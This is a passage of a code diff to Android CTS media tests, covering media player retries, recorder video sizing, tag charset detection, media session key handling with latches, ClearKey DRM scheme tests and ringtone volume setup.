- // Please refer the test srt files:
- // test_subtitle1_srt.3gp and test_subtitle2_srt.3gp
- assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
-
- selectTimedTextTrack(1);
- mOnTimedTextCalled.reset();
- assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
-
- selectTimedTextTrack(2);
- mOnTimedTextCalled.reset();
- assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
-
- selectTimedTextTrack(3);
- mOnTimedTextCalled.reset();
- assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
- mMediaPlayer.stop();
-
- assertEquals("Wrong bounds count", 2, mBoundsCount);
+ testBody.call();
}
public void testGetTrackInfoForVideoWithTimedText() throws Throwable {
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java b/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
index d2b7f23..ff8efc7 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
@@ -207,6 +207,7 @@
boolean playedSuccessfully = false;
for (int i = 0; i < STREAM_RETRIES; i++) {
try {
+ mMediaPlayer.reset();
mMediaPlayer.setDataSource(path);
playLoadedVideo(width, height, playTime);
playedSuccessfully = true;
@@ -239,6 +240,7 @@
boolean playedSuccessfully = false;
for (int i = 0; i < STREAM_RETRIES; i++) {
try {
+ mMediaPlayer.reset();
mMediaPlayer.setDataSource(getInstrumentation().getTargetContext(),
uri, headers, cookies);
playLoadedVideo(width, height, playTime);
diff --git a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
index 71013cc..3782416 100644
--- a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
@@ -516,7 +516,11 @@
assertTrue("+ or - is not found", index != -1);
assertTrue("+ or - is only found at the beginning", index != 0);
float latitude = Float.parseFloat(location.substring(0, index - 1));
- float longitude = Float.parseFloat(location.substring(index));
+ int lastIndex = location.lastIndexOf('/', index);
+ if (lastIndex == -1) {
+ lastIndex = location.length();
+ }
+ float longitude = Float.parseFloat(location.substring(index, lastIndex - 1));
assertTrue("Incorrect latitude: " + latitude, Math.abs(latitude - LATITUDE) <= TOLERANCE);
assertTrue("Incorrect longitude: " + longitude, Math.abs(longitude - LONGITUDE) <= TOLERANCE);
retriever.release();
@@ -533,12 +537,16 @@
if (!hasCamera()) {
return;
}
+ mCamera = Camera.open(0);
+ setSupportedResolution(mCamera);
+ mCamera.unlock();
+
mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
mMediaRecorder.setOutputFile(OUTPUT_PATH2);
mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
- mMediaRecorder.setVideoSize(VIDEO_WIDTH, VIDEO_HEIGHT);
+ mMediaRecorder.setVideoSize(mVideoWidth, mVideoHeight);
FileOutputStream fos = new FileOutputStream(OUTPUT_PATH2);
FileDescriptor fd = fos.getFD();
@@ -704,12 +712,16 @@
MediaUtils.skipTest("no microphone, camera, or codecs");
return;
}
+ mCamera = Camera.open(0);
+ setSupportedResolution(mCamera);
+ mCamera.unlock();
+
mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
- mMediaRecorder.setVideoSize(VIDEO_WIDTH, VIDEO_HEIGHT);
+ mMediaRecorder.setVideoSize(mVideoWidth, mVideoHeight);
mMediaRecorder.setVideoEncodingBitRate(256000);
mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
mMediaRecorder.setMaxFileSize(fileSize);
@@ -851,7 +863,13 @@
String mime = format.getString(MediaFormat.KEY_MIME);
if (mime.startsWith("video/")) {
int finalProfile = format.getInteger(MediaFormat.KEY_PROFILE);
- if (finalProfile != profile) {
+ if (!(finalProfile == profile ||
+ (mediaType.equals(AVC)
+ && profile == AVCProfileBaseline
+ && finalProfile == AVCProfileConstrainedBaseline) ||
+ (mediaType.equals(AVC)
+ && profile == AVCProfileHigh
+ && finalProfile == AVCProfileConstrainedHigh))) {
fail("Incorrect profile: " + finalProfile + " Expected: " + profile);
}
int finalLevel = format.getInteger(MediaFormat.KEY_LEVEL);
@@ -1075,6 +1093,7 @@
mCamera = Camera.open(0);
Camera.Parameters params = mCamera.getParameters();
frameRate = params.getPreviewFrameRate();
+ setSupportedResolution(mCamera);
mCamera.unlock();
mMediaRecorder.setCamera(mCamera);
mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
@@ -1092,7 +1111,7 @@
mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
mMediaRecorder.setVideoFrameRate(frameRate);
- mMediaRecorder.setVideoSize(VIDEO_WIDTH, VIDEO_HEIGHT);
+ mMediaRecorder.setVideoSize(mVideoWidth, mVideoHeight);
if (hasAudio) {
mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerTest.java b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
index 3a12e3b..137b7cf 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
@@ -470,7 +470,20 @@
new MediaScanEntry(R.raw.iso88591_13,
new String[] {"Michael Bublé", "Crazy Love", "Michael Bublé", "Haven't Met You Yet", null}),
new MediaScanEntry(R.raw.utf16_1,
- new String[] {"Shakira", "Latin Mix USA", "Shakira", "Estoy Aquí", null})
+ new String[] {"Shakira", "Latin Mix USA", "Shakira", "Estoy Aquí", null}),
+ // Tags are encoded in different charsets.
+ new MediaScanEntry(R.raw.iso88591_utf8_mixed_1,
+ new String[] {"刘昊霖/kidult.", "鱼干铺里", "刘昊霖/kidult.", "Colin Wine's Mailbox", null}),
+ new MediaScanEntry(R.raw.iso88591_utf8_mixed_2,
+ new String[] {"冰块先生/郭美孜", "hey jude", "冰块先生/郭美孜", "Hey Jude", null}),
+ new MediaScanEntry(R.raw.iso88591_utf8_mixed_3,
+ new String[] {"Toy王奕/Tizzy T/满舒克", "1993", "Toy王奕/Tizzy T/满舒克", "Me&Ma Bros", null}),
+ new MediaScanEntry(R.raw.gb18030_utf8_mixed_1,
+ new String[] {"张国荣", "钟情张国荣", null, "左右手", null}),
+ new MediaScanEntry(R.raw.gb18030_utf8_mixed_2,
+ new String[] {"纵贯线", "Live in Taipei 出发\\/终点站", null, "皇后大道东(Live)", null}),
+ new MediaScanEntry(R.raw.gb18030_utf8_mixed_3,
+ new String[] {"谭咏麟", "二十年白金畅销金曲全记录", null, "知心当玩偶", null})
};
public void testEncodingDetection() throws Exception {
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionTest.java b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
index 58a643d..cc6f186 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
@@ -39,10 +39,14 @@
import java.util.ArrayList;
import java.util.List;
import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
public class MediaSessionTest extends AndroidTestCase {
- // The maximum time to wait for an operation.
+ // The maximum time to wait for an operation that is expected to succeed.
private static final long TIME_OUT_MS = 3000L;
+ // The maximum time to wait for an operation that is expected to fail.
+ private static final long WAIT_MS = 100L;
private static final int MAX_AUDIO_INFO_CHANGED_CALLBACK_COUNT = 10;
private static final String TEST_SESSION_TAG = "test-session-tag";
private static final String TEST_KEY = "test-key";
@@ -322,71 +326,106 @@
PendingIntent pi = PendingIntent.getBroadcast(getContext(), 0, mediaButtonIntent, 0);
mSession.setMediaButtonReceiver(pi);
- long supportedActions = PlaybackState.ACTION_PLAY | PlaybackState.ACTION_PAUSE
- | PlaybackState.ACTION_PLAY_PAUSE | PlaybackState.ACTION_STOP
- | PlaybackState.ACTION_SKIP_TO_NEXT | PlaybackState.ACTION_SKIP_TO_PREVIOUS
- | PlaybackState.ACTION_FAST_FORWARD | PlaybackState.ACTION_REWIND;
-
// Set state to STATE_PLAYING to get higher priority.
- PlaybackState defaultState = new PlaybackState.Builder().setActions(supportedActions)
- .setState(PlaybackState.STATE_PLAYING, 0L, 0.0f).build();
- mSession.setPlaybackState(defaultState);
+ setPlaybackState(PlaybackState.STATE_PLAYING);
// A media playback is also needed to receive media key events.
Utils.assertMediaPlaybackStarted(getContext());
+ sessionCallback.reset(1);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY);
+ assertTrue(sessionCallback.await(TIME_OUT_MS));
+ assertEquals(1, sessionCallback.mOnPlayCalledCount);
+
+ sessionCallback.reset(1);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PAUSE);
+ assertTrue(sessionCallback.await(TIME_OUT_MS));
+ assertTrue(sessionCallback.mOnPauseCalled);
+
+ sessionCallback.reset(1);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_NEXT);
+ assertTrue(sessionCallback.await(TIME_OUT_MS));
+ assertTrue(sessionCallback.mOnSkipToNextCalled);
+
+ sessionCallback.reset(1);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PREVIOUS);
+ assertTrue(sessionCallback.await(TIME_OUT_MS));
+ assertTrue(sessionCallback.mOnSkipToPreviousCalled);
+
+ sessionCallback.reset(1);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_STOP);
+ assertTrue(sessionCallback.await(TIME_OUT_MS));
+ assertTrue(sessionCallback.mOnStopCalled);
+
+ sessionCallback.reset(1);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_FAST_FORWARD);
+ assertTrue(sessionCallback.await(TIME_OUT_MS));
+ assertTrue(sessionCallback.mOnFastForwardCalled);
+
+ sessionCallback.reset(1);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_REWIND);
+ assertTrue(sessionCallback.await(TIME_OUT_MS));
+ assertTrue(sessionCallback.mOnRewindCalled);
+
+ // Test PLAY_PAUSE button twice.
+ // First, simulate PLAY_PAUSE button while in STATE_PAUSED.
+ sessionCallback.reset(1);
+ setPlaybackState(PlaybackState.STATE_PAUSED);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+ assertTrue(sessionCallback.await(TIME_OUT_MS));
+ assertEquals(1, sessionCallback.mOnPlayCalledCount);
+
+ // Next, simulate PLAY_PAUSE button while in STATE_PLAYING.
+ sessionCallback.reset(1);
+ setPlaybackState(PlaybackState.STATE_PLAYING);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+ assertTrue(sessionCallback.await(TIME_OUT_MS));
+ assertTrue(sessionCallback.mOnPauseCalled);
+
+ // Double tap of PLAY_PAUSE is the next track instead of changing PLAY/PAUSE.
+ sessionCallback.reset(2);
+ setPlaybackState(PlaybackState.STATE_PLAYING);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+ assertFalse(sessionCallback.await(WAIT_MS));
+ assertTrue(sessionCallback.mOnSkipToNextCalled);
+ assertEquals(0, sessionCallback.mOnPlayCalledCount);
+ assertFalse(sessionCallback.mOnPauseCalled);
+
+ // Test if PLAY_PAUSE double tap is considered as two single taps when another media
+ // key is pressed.
+ sessionCallback.reset(3);
+ setPlaybackState(PlaybackState.STATE_PAUSED);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_STOP);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+ assertTrue(sessionCallback.await(TIME_OUT_MS));
+ assertEquals(2, sessionCallback.mOnPlayCalledCount);
+ assertTrue(sessionCallback.mOnStopCalled);
+
+ // Test if media keys are handled in order.
+ sessionCallback.reset(2);
+ setPlaybackState(PlaybackState.STATE_PAUSED);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+ simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_STOP);
+ assertTrue(sessionCallback.await(TIME_OUT_MS));
+ assertEquals(1, sessionCallback.mOnPlayCalledCount);
+ assertTrue(sessionCallback.mOnStopCalled);
synchronized (mWaitLock) {
- sessionCallback.reset();
- simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY);
- mWaitLock.wait(TIME_OUT_MS);
- assertTrue(sessionCallback.mOnPlayCalled);
+ assertEquals(PlaybackState.STATE_STOPPED,
+ mSession.getController().getPlaybackState().getState());
+ }
+ }
- sessionCallback.reset();
- simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PAUSE);
- mWaitLock.wait(TIME_OUT_MS);
- assertTrue(sessionCallback.mOnPauseCalled);
-
- sessionCallback.reset();
- simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_NEXT);
- mWaitLock.wait(TIME_OUT_MS);
- assertTrue(sessionCallback.mOnSkipToNextCalled);
-
- sessionCallback.reset();
- simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PREVIOUS);
- mWaitLock.wait(TIME_OUT_MS);
- assertTrue(sessionCallback.mOnSkipToPreviousCalled);
-
- sessionCallback.reset();
- simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_STOP);
- mWaitLock.wait(TIME_OUT_MS);
- assertTrue(sessionCallback.mOnStopCalled);
-
- sessionCallback.reset();
- simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_FAST_FORWARD);
- mWaitLock.wait(TIME_OUT_MS);
- assertTrue(sessionCallback.mOnFastForwardCalled);
-
- sessionCallback.reset();
- simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_REWIND);
- mWaitLock.wait(TIME_OUT_MS);
- assertTrue(sessionCallback.mOnRewindCalled);
-
- // Test PLAY_PAUSE button twice.
- // First, simulate PLAY_PAUSE button while in STATE_PAUSED.
- sessionCallback.reset();
- mSession.setPlaybackState(new PlaybackState.Builder().setActions(supportedActions)
- .setState(PlaybackState.STATE_PAUSED, 0L, 0.0f).build());
- simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
- mWaitLock.wait(TIME_OUT_MS);
- assertTrue(sessionCallback.mOnPlayCalled);
-
- // Next, simulate PLAY_PAUSE button while in STATE_PLAYING.
- sessionCallback.reset();
- mSession.setPlaybackState(new PlaybackState.Builder().setActions(supportedActions)
- .setState(PlaybackState.STATE_PLAYING, 0L, 0.0f).build());
- simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
- mWaitLock.wait(TIME_OUT_MS);
- assertTrue(sessionCallback.mOnPauseCalled);
+ private void setPlaybackState(int state) {
+ final long allActions = PlaybackState.ACTION_PLAY | PlaybackState.ACTION_PAUSE
+ | PlaybackState.ACTION_PLAY_PAUSE | PlaybackState.ACTION_STOP
+ | PlaybackState.ACTION_SKIP_TO_NEXT | PlaybackState.ACTION_SKIP_TO_PREVIOUS
+ | PlaybackState.ACTION_FAST_FORWARD | PlaybackState.ACTION_REWIND;
+ PlaybackState playbackState = new PlaybackState.Builder().setActions(allActions)
+ .setState(state, 0L, 0.0f).build();
+ synchronized (mWaitLock) {
+ mSession.setPlaybackState(playbackState);
}
}
@@ -419,13 +458,27 @@
* Tests {@link MediaSession.QueueItem}.
*/
public void testQueueItem() {
- QueueItem item = new QueueItem(new MediaDescription.Builder()
- .setMediaId("media-id").setTitle("title").build(), TEST_QUEUE_ID);
+ MediaDescription.Builder descriptionBuilder = new MediaDescription.Builder()
+ .setMediaId("media-id")
+ .setTitle("title");
+
+ QueueItem item = new QueueItem(descriptionBuilder.build(), TEST_QUEUE_ID);
assertEquals(TEST_QUEUE_ID, item.getQueueId());
assertEquals("media-id", item.getDescription().getMediaId());
assertEquals("title", item.getDescription().getTitle());
assertEquals(0, item.describeContents());
+ QueueItem sameItem = new QueueItem(descriptionBuilder.build(), TEST_QUEUE_ID);
+ assertTrue(item.equals(sameItem));
+
+ QueueItem differentQueueId = new QueueItem(
+ descriptionBuilder.build(), TEST_QUEUE_ID + 1);
+ assertFalse(item.equals(differentQueueId));
+
+ QueueItem differentDescription = new QueueItem(
+ descriptionBuilder.setTitle("title2").build(), TEST_QUEUE_ID);
+ assertFalse(item.equals(differentDescription));
+
Parcel p = Parcel.obtain();
item.writeToParcel(p, 0);
p.setDataPosition(0);
@@ -576,7 +629,8 @@
}
private class MediaSessionCallback extends MediaSession.Callback {
- private boolean mOnPlayCalled;
+ private CountDownLatch mLatch;
+ private int mOnPlayCalledCount;
private boolean mOnPauseCalled;
private boolean mOnStopCalled;
private boolean mOnFastForwardCalled;
@@ -584,8 +638,9 @@
private boolean mOnSkipToPreviousCalled;
private boolean mOnSkipToNextCalled;
- public void reset() {
- mOnPlayCalled = false;
+ public void reset(int count) {
+ mLatch = new CountDownLatch(count);
+ mOnPlayCalledCount = 0;
mOnPauseCalled = false;
mOnStopCalled = false;
mOnFastForwardCalled = false;
@@ -594,60 +649,57 @@
mOnSkipToNextCalled = false;
}
+ public boolean await(long waitMs) {
+ try {
+ return mLatch.await(waitMs, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ return false;
+ }
+ }
+
@Override
public void onPlay() {
- synchronized (mWaitLock) {
- mOnPlayCalled = true;
- mWaitLock.notify();
- }
+ mOnPlayCalledCount++;
+ setPlaybackState(PlaybackState.STATE_PLAYING);
+ mLatch.countDown();
}
@Override
public void onPause() {
- synchronized (mWaitLock) {
- mOnPauseCalled = true;
- mWaitLock.notify();
- }
+ mOnPauseCalled = true;
+ setPlaybackState(PlaybackState.STATE_PAUSED);
+ mLatch.countDown();
}
@Override
public void onStop() {
- synchronized (mWaitLock) {
- mOnStopCalled = true;
- mWaitLock.notify();
- }
+ mOnStopCalled = true;
+ setPlaybackState(PlaybackState.STATE_STOPPED);
+ mLatch.countDown();
}
@Override
public void onFastForward() {
- synchronized (mWaitLock) {
- mOnFastForwardCalled = true;
- mWaitLock.notify();
- }
+ mOnFastForwardCalled = true;
+ mLatch.countDown();
}
@Override
public void onRewind() {
- synchronized (mWaitLock) {
- mOnRewindCalled = true;
- mWaitLock.notify();
- }
+ mOnRewindCalled = true;
+ mLatch.countDown();
}
@Override
public void onSkipToPrevious() {
- synchronized (mWaitLock) {
- mOnSkipToPreviousCalled = true;
- mWaitLock.notify();
- }
+ mOnSkipToPreviousCalled = true;
+ mLatch.countDown();
}
@Override
public void onSkipToNext() {
- synchronized (mWaitLock) {
- mOnSkipToNextCalled = true;
- mWaitLock.notify();
- }
+ mOnSkipToNextCalled = true;
+ mLatch.countDown();
}
}
}
diff --git a/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java b/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
index 4a7b7af..c44a024 100644
--- a/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
+++ b/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
@@ -15,13 +15,11 @@
*/
package android.media.cts;
-import static org.junit.Assert.assertThat;
-import static org.junit.matchers.JUnitMatchers.containsString;
-
+import android.content.pm.PackageManager;
+import android.media.MediaDrm;
import android.net.Uri;
import android.util.Log;
import android.view.Surface;
-import android.view.SurfaceHolder;
import com.android.compatibility.common.util.ApiLevelUtil;
import com.android.compatibility.common.util.MediaUtils;
@@ -29,9 +27,11 @@
import java.nio.ByteBuffer;
import java.util.ArrayList;
-import java.util.Iterator;
import java.util.UUID;
+import static org.junit.Assert.assertThat;
+import static org.junit.matchers.JUnitMatchers.containsString;
+
/**
* Tests MediaDrm NDK APIs. ClearKey system uses a subset of NDK APIs,
* this test only tests the APIs that are supported by ClearKey system.
@@ -53,8 +53,10 @@
"llama_h264_main_720p_8000.mp4");
private static final int UUID_BYTE_SIZE = 16;
- private static final UUID CLEARKEY_SCHEME_UUID =
+ private static final UUID COMMON_PSSH_SCHEME_UUID =
new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
+ private static final UUID CLEARKEY_SCHEME_UUID =
+ new UUID(0xe2719d58a985b3c9L, 0x781ab030af78d30eL);
private static final UUID BAD_SCHEME_UUID =
new UUID(0xffffffffffffffffL, 0xffffffffffffffffL);
private MediaCodecClearKeyPlayer mMediaCodecPlayer;
@@ -94,6 +96,21 @@
super.tearDown();
}
+ private boolean watchHasNoClearkeySupport() {
+ if (!MediaDrm.isCryptoSchemeSupported(CLEARKEY_SCHEME_UUID)) {
+ if (isWatchDevice()) {
+ return true;
+ } else {
+ throw new Error("Crypto scheme is not supported");
+ }
+ }
+ return false;
+ }
+
+ private boolean isWatchDevice() {
+ return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
+ }
+
private boolean deviceHasMediaDrm() {
// ClearKey is introduced after KitKat.
if (ApiLevelUtil.isAtMost(android.os.Build.VERSION_CODES.KITKAT)) {
@@ -111,6 +128,11 @@
}
public void testIsCryptoSchemeSupported() throws Exception {
+ if (watchHasNoClearkeySupport()) {
+ return;
+ }
+
+ assertTrue(isCryptoSchemeSupportedNative(uuidByteArray(COMMON_PSSH_SCHEME_UUID)));
assertTrue(isCryptoSchemeSupportedNative(uuidByteArray(CLEARKEY_SCHEME_UUID)));
}
@@ -119,19 +141,47 @@
}
public void testPssh() throws Exception {
- assertTrue(testPsshNative(uuidByteArray(CLEARKEY_SCHEME_UUID),
+ // The test uses a canned PSSH that contains the common box UUID.
+ assertTrue(testPsshNative(uuidByteArray(COMMON_PSSH_SCHEME_UUID),
CENC_CLEARKEY_VIDEO_URL.toString()));
}
+ public void testQueryKeyStatus() throws Exception {
+ if (watchHasNoClearkeySupport()) {
+ return;
+ }
+
+ assertTrue(testQueryKeyStatusNative(uuidByteArray(CLEARKEY_SCHEME_UUID)));
+ }
+
public void testGetPropertyString() throws Exception {
+ if (watchHasNoClearkeySupport()) {
+ return;
+ }
+
StringBuffer value = new StringBuffer();
testGetPropertyStringNative(uuidByteArray(CLEARKEY_SCHEME_UUID), "description", value);
assertEquals("ClearKey CDM", value.toString());
+
+ value.delete(0, value.length());
+ testGetPropertyStringNative(uuidByteArray(CLEARKEY_SCHEME_UUID), "description", value);
+ assertEquals("ClearKey CDM", value.toString());
}
public void testUnknownPropertyString() throws Exception {
+ StringBuffer value = new StringBuffer();
+
try {
- StringBuffer value = new StringBuffer();
+ testGetPropertyStringNative(uuidByteArray(CLEARKEY_SCHEME_UUID),
+ "unknown-property", value);
+ fail("Should have thrown an exception");
+ } catch (RuntimeException e) {
+ Log.e(TAG, "testUnknownPropertyString error = '" + e.getMessage() + "'");
+ assertThat(e.getMessage(), containsString("get property string returns"));
+ }
+
+ value.delete(0, value.length());
+ try {
testGetPropertyStringNative(uuidByteArray(CLEARKEY_SCHEME_UUID),
"unknown-property", value);
} catch (RuntimeException e) {
@@ -144,10 +194,14 @@
* Tests native clear key system playback.
*/
private void testClearKeyPlayback(
- String mimeType, /*String initDataType,*/ Uri audioUrl, Uri videoUrl,
+ UUID drmSchemeUuid, String mimeType, /*String initDataType,*/ Uri audioUrl, Uri videoUrl,
int videoWidth, int videoHeight) throws Exception {
- if (!isCryptoSchemeSupportedNative(uuidByteArray(CLEARKEY_SCHEME_UUID))) {
+ if (isWatchDevice()) {
+ return;
+ }
+
+ if (!isCryptoSchemeSupportedNative(uuidByteArray(drmSchemeUuid))) {
throw new Error("Crypto scheme is not supported.");
}
@@ -185,7 +239,7 @@
params.videoUrl = videoUrl.toString();
if (!testClearKeyPlaybackNative(
- uuidByteArray(CLEARKEY_SCHEME_UUID), params)) {
+ uuidByteArray(drmSchemeUuid), params)) {
Log.e(TAG, "Fails play back using native media drm APIs.");
}
params.surface.release();
@@ -211,11 +265,23 @@
private static native boolean testPsshNative(final byte[] uuid, final String videoUrl);
+ private static native boolean testQueryKeyStatusNative(final byte[] uuid);
+
public void testClearKeyPlaybackCenc() throws Exception {
testClearKeyPlayback(
- ISO_BMFF_VIDEO_MIME_TYPE,
- CENC_AUDIO_URL,
- CENC_CLEARKEY_VIDEO_URL,
- VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
+ COMMON_PSSH_SCHEME_UUID,
+ ISO_BMFF_VIDEO_MIME_TYPE,
+ CENC_AUDIO_URL,
+ CENC_CLEARKEY_VIDEO_URL,
+ VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
+ }
+
+ public void testClearKeyPlaybackCenc2() throws Exception {
+ testClearKeyPlayback(
+ CLEARKEY_SCHEME_UUID,
+ ISO_BMFF_VIDEO_MIME_TYPE,
+ CENC_AUDIO_URL,
+ CENC_CLEARKEY_VIDEO_URL,
+ VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
}
}
diff --git a/tests/tests/media/src/android/media/cts/ResourceManagerTest.java b/tests/tests/media/src/android/media/cts/ResourceManagerTest.java
index 5f16bc5..b541a97 100644
--- a/tests/tests/media/src/android/media/cts/ResourceManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/ResourceManagerTest.java
@@ -17,8 +17,12 @@
package android.media.cts;
import android.os.Bundle;
+import android.platform.test.annotations.RequiresDevice;
+import android.support.test.filters.SmallTest;
import android.test.ActivityInstrumentationTestCase2;
+@SmallTest
+@RequiresDevice
public class ResourceManagerTest
extends ActivityInstrumentationTestCase2<ResourceManagerStubActivity> {
diff --git a/tests/tests/media/src/android/media/cts/RingtoneManagerTest.java b/tests/tests/media/src/android/media/cts/RingtoneManagerTest.java
index 3dff5bf..8ac3f27 100644
--- a/tests/tests/media/src/android/media/cts/RingtoneManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/RingtoneManagerTest.java
@@ -15,6 +15,7 @@
*/
package android.media.cts;
+import android.app.ActivityManager;
import android.media.cts.R;
@@ -63,31 +64,36 @@
mDefaultUri = RingtoneManager.getActualDefaultRingtoneUri(mContext,
RingtoneManager.TYPE_RINGTONE);
- try {
- Utils.toggleNotificationPolicyAccess(
- mContext.getPackageName(), getInstrumentation(), true);
- mAudioManager.adjustStreamVolume(AudioManager.STREAM_RING, AudioManager.ADJUST_RAISE,
- AudioManager.FLAG_ALLOW_RINGER_MODES);
- } finally {
- Utils.toggleNotificationPolicyAccess(
- mContext.getPackageName(), getInstrumentation(), false);
+ if (mAudioManager.getRingerMode() == AudioManager.RINGER_MODE_SILENT
+ && !ActivityManager.isLowRamDeviceStatic()) {
+ try {
+ Utils.toggleNotificationPolicyAccess(
+ mContext.getPackageName(), getInstrumentation(), true);
+ mAudioManager.adjustStreamVolume(AudioManager.STREAM_RING,
+ AudioManager.ADJUST_RAISE,
+ AudioManager.FLAG_ALLOW_RINGER_MODES);
+ } finally {
+ Utils.toggleNotificationPolicyAccess(
+ mContext.getPackageName(), getInstrumentation(), false);
+ }
}
-
}
@Override
protected void tearDown() throws Exception {
- try {
- Utils.toggleNotificationPolicyAccess(
- mContext.getPackageName(), getInstrumentation(), true);
- // restore original ringer settings
- if (mAudioManager != null) {
- mAudioManager.setStreamVolume(AudioManager.STREAM_RING, mOriginalVolume,
- AudioManager.FLAG_ALLOW_RINGER_MODES);
+ if (!ActivityManager.isLowRamDeviceStatic()) {
+ try {
+ Utils.toggleNotificationPolicyAccess(
+ mContext.getPackageName(), getInstrumentation(), true);
+ // restore original ringer settings
+ if (mAudioManager != null) {
+ mAudioManager.setStreamVolume(AudioManager.STREAM_RING, mOriginalVolume,
+ AudioManager.FLAG_ALLOW_RINGER_MODES);
+ }
+ } finally {
+ Utils.toggleNotificationPolicyAccess(
+ mContext.getPackageName(), getInstrumentation(), false);
}
- } finally {
- Utils.toggleNotificationPolicyAccess(
- mContext.getPackageName(), getInstrumentation(), false);
}
RingtoneManager.setActualDefaultRingtoneUri(mContext, RingtoneManager.TYPE_RINGTONE,
mDefaultUri);
diff --git a/tests/tests/media/src/android/media/cts/RingtoneTest.java b/tests/tests/media/src/android/media/cts/RingtoneTest.java
index 31ae5bb..092ac0b 100644
--- a/tests/tests/media/src/android/media/cts/RingtoneTest.java
+++ b/tests/tests/media/src/android/media/cts/RingtoneTest.java
@@ -16,6 +16,7 @@
package android.media.cts;
+import android.app.ActivityManager;
import android.app.UiAutomation;
import android.content.Context;
import android.content.pm.PackageManager;
@@ -52,17 +53,26 @@
int maxVolume = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_RING);
- try {
- Utils.toggleNotificationPolicyAccess(
- mContext.getPackageName(), getInstrumentation(), true);
- // set ringer to a reasonable volume
+ if (mAudioManager.getRingerMode() == AudioManager.RINGER_MODE_VIBRATE) {
+ mAudioManager.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
mAudioManager.setStreamVolume(AudioManager.STREAM_RING, maxVolume / 2,
AudioManager.FLAG_ALLOW_RINGER_MODES);
- // make sure that we are not in silent mode
- mAudioManager.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
- } finally {
- Utils.toggleNotificationPolicyAccess(
- mContext.getPackageName(), getInstrumentation(), false);
